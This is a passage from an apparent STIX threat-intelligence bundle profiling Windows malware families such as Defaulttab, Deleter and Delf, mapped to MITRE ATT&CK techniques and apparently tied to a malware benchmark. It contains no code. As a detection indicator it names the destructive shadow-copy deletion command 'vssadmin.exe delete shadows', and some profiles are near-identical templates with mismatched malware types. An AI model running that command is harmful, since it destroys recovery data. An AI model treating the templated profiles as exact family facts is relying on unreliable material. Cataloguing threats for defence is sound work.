      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba6256d7-e76f-5877-a580-7642af2d18ef",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Deepsea exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b1eb6266-f2e1-5ba2-baae-f4de238189a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba6256d7-e76f-5877-a580-7642af2d18ef",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Deepsea exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--baff861a-23cd-5f01-a3de-732b16f53172",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba6256d7-e76f-5877-a580-7642af2d18ef",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Deepsea exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c5b97986-9d38-52cb-90f4-3778d9807159",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Defaulttab",
      "description": "Adware:Win32/Defaulttab is a particularly aggressive and persistent Potentially Unwanted Program (PUP) categorized as a Browser Hijacker. It is notorious for not just changing the user's default search engine and homepage to a revenue-generating portal, but for employing rootkit-like techniques to actively defend its registry keys and files against removal attempts by both users and standard antivirus software.<br><br><b>Understanding Defaulttab (Aggressive Adware)</b><br>To an end-user, Defaulttab makes the browser completely unusable, constantly redirecting searches and spawning pop-ups. Every attempt to manually change the settings back is instantly reverted. For a security analyst, it represents a complex removal challenge, demonstrating that adware can utilize the same advanced defense evasion techniques as high-level trojans (`T1562.001`).<br><br><b>Execution and Persistence Mechanics</b><br>Defaulttab is primarily distributed through deceptive software bundling (`T1189`). Upon execution, it installs malicious extensions into Chrome, Firefox, and Internet Explorer. Crucially, it establishes deep persistence by installing a Windows Service (`T1543.003`) or a scheduled task that acts as a 'watchdog'. This watchdog process continuously monitors the specific registry keys controlling the browser's homepage and default search provider (`T1112`). If an antivirus program or the user attempts to delete or modify these keys, the watchdog process instantly restores them to the hijacked values.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is severe disruption of productivity and exposure to potentially malicious third-party advertisements. Host-based IoCs include the presence of the `Defaulttab` process running in Task Manager, a suspicious newly registered Windows Service, and EDR alerts for continuous, rapid modifications to browser registry keys (e.g., `HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page`). Network IoCs include DNS requests resolving to known adware tracking domains and forced search redirects. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Defaulttab",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/defaulttab"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ecb89d0b-2805-5a37-93ba-22901fd2926d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c5b97986-9d38-52cb-90f4-3778d9807159",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Defaulttab exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Actively defending its registry keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c737b5e9-a193-53c3-a69c-03e099c00239",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c5b97986-9d38-52cb-90f4-3778d9807159",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Defaulttab exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Watchdog persistence))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--42bc0ba1-1863-5eb2-a6ee-1f18e081146e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c5b97986-9d38-52cb-90f4-3778d9807159",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Defaulttab exhibits technique T1112 (Modify Registry (Hijacking browser configurations))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9966416b-f72f-5623-b0b0-0423f6574edc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Defmid",
      "description": "Trojan:Win32/Defmid is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Defmid</b><br>To an end-user, a Defmid infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Defmid is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Defmid is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Defmid frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Defmid reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Defmid",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/defmid"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e79a4c5a-157a-5749-bd94-6e0825d8eb6a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9966416b-f72f-5623-b0b0-0423f6574edc",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Defmid exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d7db69c7-f101-557b-9d25-3af8c0a0e4ef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9966416b-f72f-5623-b0b0-0423f6574edc",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Defmid exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1582e02f-9ac6-54ce-955a-bf366d4fc9d7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9966416b-f72f-5623-b0b0-0423f6574edc",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Defmid exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c0bc311f-cdf0-5074-9caa-ac2c612e753a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9966416b-f72f-5623-b0b0-0423f6574edc",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Defmid exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6a06b7d0-a789-5dcb-a3cd-1a7f4fef90ed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9966416b-f72f-5623-b0b0-0423f6574edc",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Defmid exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9986c5e3-5807-5924-83e2-a9870af75247",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Defsel",
      "description": "<h3>Executive Summary</h3>\nDefsel is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDefsel is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Defsel operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Defsel ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Defsel receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Defsel infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Defsel executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Defsel frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Defsel",
        "Downloader.Defsel",
        "Win32/Defsel"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Defsel",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/defsel"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f08e78fe-3625-5ed6-b909-386be2ddb3ff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9986c5e3-5807-5924-83e2-a9870af75247",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Defsel exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--349f6c24-a419-5569-8f53-5538962b2dfc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9986c5e3-5807-5924-83e2-a9870af75247",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Defsel exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--315b159d-df31-5ea3-98b7-725d03d59475",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9986c5e3-5807-5924-83e2-a9870af75247",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Defsel exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b4702441-8135-5d25-a741-0caebee686e0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Delbar",
      "description": "Trojan:Win32/Delbar is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Delbar</b><br>To an end-user, a Delbar infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Delbar is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Delbar is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Delbar frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Delbar reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Delbar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/delbar"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1b79b354-ca31-5a11-9276-6c3c49e1fad7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4702441-8135-5d25-a741-0caebee686e0",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delbar exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a1d189af-1f6c-5ba7-929e-865d85800e03",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4702441-8135-5d25-a741-0caebee686e0",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delbar exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1e421a45-e018-5be8-b684-0b32090c66a7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4702441-8135-5d25-a741-0caebee686e0",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delbar exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b07ac491-9d63-59df-96fa-4bb5cec48bea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4702441-8135-5d25-a741-0caebee686e0",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delbar exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--612bafe3-e0fa-50db-970e-abce978427b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b4702441-8135-5d25-a741-0caebee686e0",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delbar exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--10c0f841-c090-5acd-be39-54d062815c24",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Deleter",
      "description": "Trojan:Win32/Deleter (often associated with Wiper malware) is a highly destructive trojan whose primary and singular objective is to permanently erase, corrupt, or render inaccessible data and critical system files on the infected endpoint. Unlike ransomware, which encrypts data for extortion, Deleter aims for pure sabotage and destruction.<br><br><b>Understanding Deleter (Data Wiper)</b><br>To an end-user, a Deleter infection is catastrophic: the system suddenly crashes (BSOD), fails to reboot (reporting missing operating system files), or user directories are found completely empty. For a security team, a wiper attack is often indicative of a highly motivated, state-sponsored adversary (APT) aiming to disrupt operations, cover their tracks after a data breach, or cause maximal financial damage to an organization.<br><br><b>Execution and Destructive Mechanics</b><br>Wipers are typically deployed manually by attackers after they have gained deep network access and escalated privileges to SYSTEM or Domain Admin (`T1078`). Once executed (`T1204.002`), Deleter acts swiftly. It bypasses the Windows Recycle Bin, using APIs to directly overwrite file contents with zeros or random garbage data before deleting the file pointers (`T1485`). Advanced variants attempt to overwrite the Master Boot Record (MBR) or GUID Partition Table (GPT) (`T1561.001`, `T1561.002`), rendering the operating system completely unbootable. To prevent forensic recovery, it will systematically delete Volume Shadow Copies and clear Windows Event Logs (`T1490`, `T1070.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total loss of data and complete system failure. Host-based IoCs include sudden, massive spikes in disk I/O activity followed by immediate system instability, EDR alerts for the execution of commands like `vssadmin.exe delete shadows`, unauthorized raw disk access (`\\\\.\\PhysicalDrive0`), and the deletion of critical Windows directory files. There are typically no network IoCs during the wiping phase, as the goal is localized destruction. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Deleter",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/deleter"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--52ce01a2-618c-562e-a19b-5e4572001eb0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10c0f841-c090-5acd-be39-54d062815c24",
      "target_ref": "attack-pattern--a1097f7e-2aee-5bd4-ba08-a98048ff4e08",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Deleter exhibits technique T1485 (Data Destruction)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--a134ba16-58af-53fd-b661-d7da56740d9d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1561.001: Disk Wipe: Disk Content Wipe",
      "description": "MITRE ATT&CK Technique T1561.001 (Disk Wipe: Disk Content Wipe) under tactic Impact.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1561.001",
          "url": "https://attack.mitre.org/techniques/T1561/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2c0127e3-fb0b-50b5-b009-04d51698438a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10c0f841-c090-5acd-be39-54d062815c24",
      "target_ref": "attack-pattern--a134ba16-58af-53fd-b661-d7da56740d9d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Deleter exhibits technique T1561.001 (Disk Wipe: Disk Content Wipe)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--8ca1d648-b445-58a0-a066-7e7dfa335e84",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1561.002: Disk Wipe: Disk Structure Wipe (MBR Overwrite)",
      "description": "MITRE ATT&CK Technique T1561.002 (Disk Wipe: Disk Structure Wipe (MBR Overwrite)) under tactic Impact.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1561.002",
          "url": "https://attack.mitre.org/techniques/T1561/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8e176b42-a293-5ec2-8313-2de84a430089",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10c0f841-c090-5acd-be39-54d062815c24",
      "target_ref": "attack-pattern--8ca1d648-b445-58a0-a066-7e7dfa335e84",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Deleter exhibits technique T1561.002 (Disk Wipe: Disk Structure Wipe (MBR Overwrite))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0a3712db-d2d4-598b-8999-c27c1933ee8f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10c0f841-c090-5acd-be39-54d062815c24",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Deleter exhibits technique T1490 (Inhibit System Recovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6ce9d6cb-3ddb-5502-9c47-057f1202412e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--10c0f841-c090-5acd-be39-54d062815c24",
      "target_ref": "attack-pattern--f4dff660-6b8e-56cd-ac2a-fd397d272c8a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Deleter exhibits technique T1070.001 (Indicator Removal on Host: Clear Windows Event Logs)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b3490532-a28f-533d-b210-914da15587ff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Delf",
      "description": "Trojan:Win32/Delf (historically cataloged across antivirus telemetry as TrojanSpy:Win32/Delf, Trojan.Win32.Delf, or Win32/Delf) is one of the most prolific and enduring malware families in Windows threat history. Encompassing an extensive taxonomy of modular spyware, keyloggers, and backdoor trojans compiled in Borland Delphi, Delf variants share distinctive runtime signatures, VCL window classes, and native PE header characteristics. Once executed on a compromised host, Delf hooks low-level keyboard input via SetWindowsHookEx to log credentials entered into banking portals and web forms, captures periodic desktop screenshots, harvests cached browser passwords, and opens covert TCP listening ports or reverse HTTP connections. The trojan packages stolen system intelligence and credentials into encrypted records and exfiltrates them to remote attacker infrastructure via HTTP POST, FTP, or SMTP. (Observed samples in benchmark: 1,727)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Delf",
        "Trojan:Win32/Delf",
        "TrojanSpy:Win32/Delf",
        "Trojan.Win32.Delf",
        "Win32/Delf",
        "Malware.Delphi",
        "Delf Trojan"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Delf",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/delf"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--59aa0a3e-993a-5454-95c9-3843ca6d3567",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b3490532-a28f-533d-b210-914da15587ff",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delf exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--75a244e8-9732-53c4-81cb-1dc74d159608",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b3490532-a28f-533d-b210-914da15587ff",
      "target_ref": "attack-pattern--8dc0a00f-15cb-5381-9682-00d7f381e448",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delf exhibits technique T1555 (Credentials from Password Stores)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9af1faec-1486-551d-88bc-29583de7d650",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b3490532-a28f-533d-b210-914da15587ff",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delf exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c986b5e9-aae0-5682-921c-c9b927a88f59",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b3490532-a28f-533d-b210-914da15587ff",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delf exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--49f09d18-8e52-5638-a08e-3f7841d20993",
      "created": "2026-01-01T00:00:00.000Z",
